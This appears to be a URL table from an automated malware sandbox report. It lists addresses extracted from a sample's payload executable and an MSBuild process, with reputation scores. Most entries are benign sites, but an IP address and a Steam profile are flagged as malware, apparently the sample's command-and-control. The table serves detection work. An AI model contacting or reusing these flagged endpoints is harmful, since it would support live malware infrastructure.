http://www.valvesoftware.com/legal.htm	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.0	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.DAECIIDGD	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259/badges	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://168.119.176.241/259H	MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://s.ytimg.com;	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/K	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1853924998.0000000003307000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.datacontract.org/2004/07/DInvalidGlobalDataContractNamespace	EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	false	URL Reputation: safe	unknown
https://168.119.176.241/ECD	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.176.241/0	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://168.119.176.241/RCHAR	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1875999041.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864935902.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864808127.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1865053978.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864080722.0000000003305000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1865567141.0000000003307000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.176.241/8	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://168.119.176.241/6	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1842134770.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1843666426.0000000003306000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1837988087.0000000003304000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://168.119.176.241/$	MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://store.steampowered.com/privacy_agr	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17ontdrvhost.exe	MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
